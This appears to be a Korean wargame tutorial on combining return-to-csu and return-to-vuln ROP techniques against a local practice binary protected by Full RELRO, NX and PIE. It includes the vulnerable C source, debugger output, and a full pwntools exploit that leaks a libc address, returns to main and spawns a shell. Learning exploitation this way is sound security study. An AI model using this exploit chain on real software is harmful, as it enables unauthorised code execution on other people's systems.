Return-to-vuln이란 ROP 코드를 실행한 후에 취약성이 있는 코드로 다시 이동하는 것을 말합니다.
어떻게 이게 가능할까요?
Return-to-csu 기법을 이용하면 됩니다.
stage 1에서
rbp ~ r15 까지 값을 모두 0으로 세팅하고 ret 값을 취약한 함수인 vuln() 함수 주소로 세팅하면
ret 명령이 실행될 때 vuln() 함수로 Jump 하게 됩니다
이번에는 이 Return-to-vuln 기법과 Return-to-csu 기법을 이용해서 Full RELRO, NX, PIE가 걸린 파일을 익스플로잇 해보겠습니다.
#include <stdio.h>
int main() {
char buf[64];
setvbuf(stdin, 0, 2, 0);
write(1, "Hey, ROP! What's Up?\n", 0x15);
read(0, buf, 0x200);
return 0;
}
kali@kali ~/wargame/Return_to_Csu/pie checksec rtc_full
[*] '/home/kali/wargame/Return_to_Csu/pie/rtc_full'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Full RELRO, NX, PIE 방어 기법이 걸려있습니다.
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000000011f8 <+56>: mov rdx,r14
0x00000000000011fb <+59>: mov rsi,r13
0x00000000000011fe <+62>: mov edi,r12d
0x0000000000001201 <+65>: call QWORD PTR [r15+rbx*8]
0x0000000000001205 <+69>: add rbx,0x1
0x0000000000001209 <+73>: cmp rbp,rbx
0x000000000000120c <+76>: jne 0x11f8 <__libc_csu_init+56>
0x000000000000120e <+78>: add rsp,0x8
0x0000000000001212 <+82>: pop rbx
0x0000000000001213 <+83>: pop rbp
0x0000000000001214 <+84>: pop r12
0x0000000000001216 <+86>: pop r13
0x0000000000001218 <+88>: pop r14
0x000000000000121a <+90>: pop r15
0x000000000000121c <+92>: ret
End of assembler dump.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/kali/wargame/Return_to_Csu/pie/rtc_full
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
Hey, ROP! What's Up?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
gef➤ x/gx $rsp
0x7fffffffded8: 0x616161616161616a
gef➤ pattern search 0x616161616161616a
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely
buf ~ RET 까지 거리는 72 Byte입니다.
[1] Leak read@got
[2] Return to main
[3] Return to library
정보 수집
def slog(name, addr):
return success(" ".join([name, hex(addr)]))
p = process("./rtc_full")
e = ELF('./rtc_full', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
pie_base = p.libs()["/home/kali/wargame/Return_to_Csu/pie/rtc_full"]
write_got = e.got['write'] + pie_base
read_got = e.got['read'] + pie_base
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]
csu_init1 = 0x1212 + pie_base
csu_init2 = 0x11f8 + pie_base
main = e.symbols['main'] + pie_base
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + pie_base
먼저 PIE 보호 기법이 걸려있기 때문에 코드 영역과 관련된 부분들에는 pie_base를 더해주었습니다.
RTC Chain
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)
Leak read@got & Return to main
# write(1, read@got, 8)
payload += p64(csu_init1)
payload += rtc_chain(1, read_got, 8, write_got)
# return to main
payload += p64(0) * 7
payload += p64(main)
system()과 "/bin/sh" 주소 구하기
p.sendafter("Hey, ROP! What's Up?\n", payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset
slog("PE base", pie_base)
slog("libc base", lb)
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)
Return to Library
payload = b"A" * 72
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.sendafter("Hey, ROP! What's Up?\n", payload)
전체 코드
from pwn import *
def slog(name, addr):
return success(" ".join([name, hex(addr)]))
p = process("./rtc_full")
e = ELF('./rtc_full', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
pie_base = p.libs()["/home/kali/wargame/Return_to_Csu/pie/rtc_full"]
write_got = e.got['write'] + pie_base
read_got = e.got['read'] + pie_base
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]
csu_init1 = 0x1212 + pie_base
csu_init2 = 0x11f8 + pie_base
main = e.symbols['main'] + pie_base
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + pie_base
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)
payload = b'A' * 72
# write(1, read@got, 8)
payload += p64(csu_init1)
payload += rtc_chain(1, read_got, 8, write_got)
# return to main
payload += p64(0) * 7
payload += p64(main)
p.sendafter("Hey, ROP! What's Up?\n", payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset
slog("PE base", pie_base)
slog("libc base", lb)
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)
payload = b"A" * 72
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.sendafter("Hey, ROP! What's Up?\n", payload)
p.interactive()
익스플로잇
kali@kali ~/wargame/Return_to_Csu/pie python3 exploit_full.py 2> /dev/null
[+] Starting local process './rtc_full': pid 59946
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './rtc_full'
[+] PE base 0x560b5f23f000
[+] libc base 0x7f55b727c000
[+] read 0x7f55b736a550
[+] system 0x7f55b72c5860
[+] /bin/sh 0x7f55b7414882
[*] Switching to interactive mode
$ ls
core exploit_full.py exploit.py rtc rtc.c rtc_full